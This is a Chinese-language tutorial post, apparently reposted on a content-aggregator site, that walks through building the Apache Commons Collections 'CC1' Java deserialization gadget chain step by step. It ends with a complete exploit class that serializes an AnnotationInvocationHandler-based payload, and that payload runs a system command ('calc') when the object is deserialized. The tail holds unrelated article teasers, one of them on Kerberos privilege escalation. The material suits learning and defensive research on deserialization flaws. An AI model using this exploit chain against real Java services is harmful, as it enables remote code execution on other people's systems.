WEB安全--Java安全--CC1利用链

一、梳理基本逻辑

WEB后端JVM通过readObject()的反序列化方式接收用户输入的数据

用户编写恶意代码并将其序列化为原始数据流

WEB后端JVM接收到序列化后恶意的原始数据并进行反序列化 

当调用:
ObjectInputStream.readObject()

JVM 内部逻辑:
→ 反序列化 AnnotationInvocationHandler.class
→ 检查到类里定义了 private void readObject(ObjectInputStream)
→ 自动调用 readObject()

于是我们通过这个入口将整条链都执行了,最后执行命令

二、CC1的基本形态构建

2.1、Runtime.getRuntime().exec()

Java执行系统命令的方式

正常写法:

Runtime.getRuntime().exec("calc");

反射写法:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

2.2、InvokeTransformer.transform()

重写了Transformer接口的transform方法,能执行命令

在InvokeTransformer()中传入待执行的方法名(exec)、类的类型(String.class)和具体命令(calc)

在InvokeTransformer的transform()中传入要执行方法的对象(r)

Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

其作用等价于

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

也等价于

Runtime.getRuntime().exec("calc");

2.3、TransformedMap.checkSetValue()

会调用transform -> 需要通过TransformedMap.decorate()间接调用

可以看到图3调用了transform()方法;

并且由图1知道该类是对Map进行处理的类,为了达到我们想要的效果,我们得自己构造一个Hash Map;

而且可以看到图3最后是对valueTransformer进行操作的,所以我们可以把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

所以当TransformedMap处理我们的对象时,就会调用InvokeTransformer.transform()

也就是等价于:

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

2.4、MapEntry.setValue()

TransformedMap的抽象父类AbstractInputCheckedMapDecorator

中的MapEntry副类中的setValue()方法调用了checkSetValue()

HashMap在遍历的时候,一个键值对就叫Entry;

MapEntry的setValue()实际上就是重写的Entry的setValue();

所以当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;

进而调用setValue()中调用的checkSetValue():

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}

当transformedMap被遍历时,就会执行命令:

2.5、AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler重写了readObject()方法,执行AnnotationInvocationHandler.readObject()时会调用setValue()

因为这个类的构造方法不是public,所以我们要通过反射获取该类及其方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

三、整理内容

3.1、思路梳理(正向)

1、现在我们构建的这个对象,会在反序列化的时候自动触发AnnotationInvocationHandler中的readObject()方法,原理如下;

2、当执行该重写的readObject()方法时,会触发调用MapEntry.setValue(),因为AnnotationInvocationHandler.readObject()的内部机制:

当反序列化AnnotationInvocationHandler时会自动遍历我们传递的transformedMap,从而执行MapEntry的setValue()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {memberValue.setValue(...);  // ← 这里就触发了 transformedMap 的 checkSetValue()
}

3、当MapEntry.setValue()被执行时,会执行TransformedMap.checkSetValue(),因为:

TransformedMap.decorate()返回的Map包装了原始的entrySet(),当调用entry.setValue()时,其实是在调用TransformedMap.MapEntry.setValue(),而这个方法正好调用了checkSetValue()

当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;

进而调用setValue()中调用的checkSetValue():

4、当TransformedMap.checkSetValue()被调用时,会调用InvokeTransformer.transform(),因为:

我们把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法

而decorate()方法就会间接调用checkSetValue(),然后间接调用InvokeTransformer.transform(),相当于

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

5、当InvokeTransformer.transform()被调用,就基于我们实例化的Runtime对象r进行命令执行

3.2、EXP雏形

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("calc");Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);serialize(hacker);unserialize("hacker.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

 

四、问题处理

4.1、Runtime不能被序列化

我们跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:

但是我们可以运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化

那么我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:

用反射构建一个Runtime对象(能执行命令):

//获取类原型
Class c = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);//获取实例化对象,因为该方法无无参方法,所以全为null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMehod = c.getMethod("exec", String.class);
//实现命令执行
execMehod.invoke(r,"calc");

因为我们最后执行是依靠InvokeTransformer.transform(),所以要将上述代码进行变形,使其用InvokeTransformer.transform()的形式呈现(能执行命令):

参考InvokeTransformer.transform()执行对象方法的原理

\\InvokeTransformer(方法).transform(对象)\\

//获取类原型
Class c = Runtime.class;
//模拟获取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模拟获取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模拟获取exec方法,并进行命令执行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

4.2、AnnotationInvocationHandler类下的readObject方法的条件判断

这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称

而我们发现另一个注解@Target中有个名为value的成员变量,所以我们就可以使用这个注解,

并改第一个键值对的值为value:

4.3、AnnotationTypeMismatchExceptionProxy不能转换为Runtime.class

把上述问题解决后我们再观察,因为AnnotationInvocationHandler.readObject()是入口,当反序列化触发readObject()时,该方法默认创建了一个对象AnnotationTypeMismatchExceptionProxy:

可以发现,链条虽然被触发了,不过AnnotationTypeMismatchExceptionProxy这个对象最后传到ChainedTransformer类中是不能执行方法的,我们想要的是获取Runtime.class对象:

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(Runtime.class);
}

而不是: 

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}

 所以我们需要把AnnotationTypeMismatchExceptionProxy改为Runtime.class

ConstantTransformer:我们传入什么值,就会返回什么值

这个类就能把AnnotationTypeMismatchExceptionProxy改为Runtime.class

在到达最后一步InvokeTransformer.transform()对某个对象执行其命令之前,将Runtime.class作为对象输出给它

 至此,CC1链的问题就全部解决了。

五、最终EXP

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ZCC1_final {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value","value");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Target.class,transformed);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/905466.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FlashInfer - 介绍 LLM服务加速库 地基的一块石头

FlashInfer - 介绍 LLM服务加速库 地基的一块石头 flyfish 大型语言模型服务中的注意力机制 大型语言模型服务&#xff08;LLM Serving&#xff09;迅速成为重要的工作负载。Transformer中的算子效率——尤其是矩阵乘法&#xff08;GEMM&#xff09;、自注意力&#xff08;S…

反向操作:如何用AI检测工具优化自己的论文“人味”?

大家好&#xff0c;这里是论文写手的一线自救指南&#x1f624; 在AIGC横行的今天&#xff0c;谁还没偷偷用过AI写几段论文内容&#xff1f;但问题来了&#xff1a;学校越来越会“识AI”了&#xff01; 有的学校甚至不看重复率&#xff0c;只盯AIGC率报告&#xff0c;一句“AI…

关于单片机的基础知识(一)

成长路上不孤单&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///计算机爱好者&#x1f60a;///持续分享所学&#x1f60a;///如有需要欢迎收藏转发///&#x1f60a;】 今日分享关于单片机基础知识的相关内容&#xf…

AWS技术助力企业满足GDPR合规要求

GDPR(通用数据保护条例)作为欧盟严格的数据保护法规,给许多企业带来了合规挑战。本文将探讨如何利用AWS(亚马逊云服务)的相关技术来满足GDPR的核心要求,帮助企业实现数据保护合规。 一、GDPR核心要求概览 GDPR的主要目标是保护欧盟公民的个人数据和隐私权。其核心要求包括: 数…

FFplay 音视频同步机制解析:以音频为基准的时间校准与动态帧调整策略

1.⾳视频同步基础 1.2 简介 看视频时&#xff0c;要是声音和画面不同步&#xff0c;体验会大打折扣。之所以会出现这种情况&#xff0c;和音视频数据的处理过程密切相关。音频和视频的输出不在同一个线程&#xff0c;就像两个工人在不同车间工作&#xff0c;而且不一定会同时…

车载网关--- 职责边界划分与功能解耦设计

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 钝感力的“钝”,不是木讷、迟钝,而是直面困境的韧劲和耐力,是面对外界噪音的通透淡然。 生活中有两种人,一种人格外在意别人的眼光;另一种人无论…

最优化方法Python计算:有约束优化应用——近似线性可分问题支持向量机

二分问题的数据集 { ( x i , y i ) } \{(\boldsymbol{x}_i,y_i)\} {(xi​,yi​)}&#xff0c; i 1 , 2 , ⋯ , m i1,2,\cdots,m i1,2,⋯,m中&#xff0c;特征数据 { x i } \{\boldsymbol{x}_i\} {xi​}未必能被一块超平面按其标签值 y i ∈ { − 1 , 1 } y_i\in\{-1,1\} yi​∈…

aardio - 将文本生成CSS格式显示

import win.ui; /*DSG{{*/ var winform win.form(text"aardio form";right759;bottom469) winform.add( button{cls"button";text"Button";left340;top130;right430;bottom180;z3}; edit{cls"edit";text"我是一串文本";lef…

数字IC后端设计实现 | 如何自动删除Innovus 中冗余的hold buffer?

我们都知道在postCTS阶段做optDesign时序优化时需要进行hold violation的fixing。所以这个过程势必要通过插hold buffer来解决hold violation。这类hold buffer的名字带有"PHC"的关键词。 select_obj [dbGet top.insts.name PHC] llength [dbGet top.insts.name PH…

c# 倒序方法

在C#中&#xff0c;有几种方法可以对List进行倒序排列&#xff1a; 1. 使用List的Reverse()方法&#xff08;原地反转&#xff09; List<int> numbers new List<int> { 1, 2, 3, 4, 5 };numbers.Reverse(); // 直接修改原列表// 结果&#xff1a;5, 4, 3, 2, 1 …

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权 文章目录 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权[toc]一&#xff1a;Kerberos 委派攻击原理之 S4U2利用1.1原理1.2两种扩展协议**S4U2Self (Service for User to Self)****S4U2Proxy (Service for User to Proxy)*…

AD 间距规则与布线规则

1. 打开在线规则检查 2. 间距规则 一般来说最小间距设为6mil 注意&#xff1a; AD22 也提供类似低版本那样的、多个间距规则叠加的方法&#xff0c;通过选择第一个适配对象和第二个适配对象来筛选对象和范围。 ① Where The First Object Matches &#xff1a;选择规则第一个…

Android Studio 安装与配置完全指南

文章目录 第一部分&#xff1a;Android Studio 简介与安装准备1.1 Android Studio 概述1.2 系统要求Windows 系统&#xff1a;macOS 系统&#xff1a;Linux 系统&#xff1a; 1.3 下载 Android Studio 第二部分&#xff1a;安装 Android Studio2.1 Windows 系统安装步骤2.2 mac…

springboot踩坑记录

之前运行好端端的项目&#xff0c;今天下午打开只是添加了一个文件之后 再运行都报Failed to configure a DataSource: url attribute is not specified and no embedded datasource could be configured.Reason: Failed to determine a suitable driver class Action: Conside…

【计算机视觉】OpenCV实战项目:Deep Machine Learning Tutors:基于OpenCV的实时面部识别系统深度解析

Deep Machine Learning Tutors&#xff1a;基于OpenCV的实时面部识别系统深度解析 1. 项目概述2. 技术原理2.1 面部识别流程2.2 关键技术组件2.2.1 Haar级联分类器2.2.2 深度特征提取 3. 项目实现细节3.1 系统架构3.2 核心算法实现3.2.1 人脸检测3.2.2 实时处理流水线 4. 项目运…

Flutter在键盘的上方加一个完成按钮

有些情况下&#xff0c;输入框在输入键盘弹出后&#xff0c; 需要在键盘的上方显示一个toolbar &#xff0c; 然后 toolbar 上面一个完成按钮&#xff0c;点完成按钮把键盘关闭。 如图&#xff1a; 直接上代码&#xff0c;这样写的好处是&#xff0c;把 TextField 给封装了&…

Flink SQL 将kafka topic的数据写到另外一个topic里面

-- 创建源表&#xff0c;使用 RAW 格式接收原始 JSON 数据 CREATE TABLE source_kafka ( id STRING, data STRING ) WITH ( connector kafka, topic source_kafka-topic, properties.bootstrap.servers master01:9092, properties.group.id flink-kafka-group, scan.startu…

618开售仅1小时,李佳琦直播间加购同增超10%

5月13日晚8点&#xff0c;天猫618大促正式拉开帷幕&#xff0c;李佳琦直播间首日“爆款美妆节”公布首轮战报&#xff1a;首小时加购GMV同比增长超10%&#xff0c;可复美、珀莱雅等品牌超60万件国货爆品秒售罄。 据统计&#xff0c;今年李佳琦直播间618首日预售共上架近500件爆…

【轻松学 C:编程小白的大冒险】— 16 函数的定义与调用

在编程的艺术世界里&#xff0c;代码和灵感需要寻找到最佳的交融点&#xff0c;才能打造出令人为之惊叹的作品。而在这座秋知叶i博客的殿堂里&#xff0c;我们将共同追寻这种完美结合&#xff0c;为未来的世界留下属于我们的独特印记。 【轻松学 C&#xff1a;编程小白的大冒险…

多模态大语言模型arxiv论文略读(七十四)

UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ➡️ 论文标题&#xff1a;UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ➡️ 论文作者&#xff1a;Hantao Zhou, Longxiang Tang, Ru…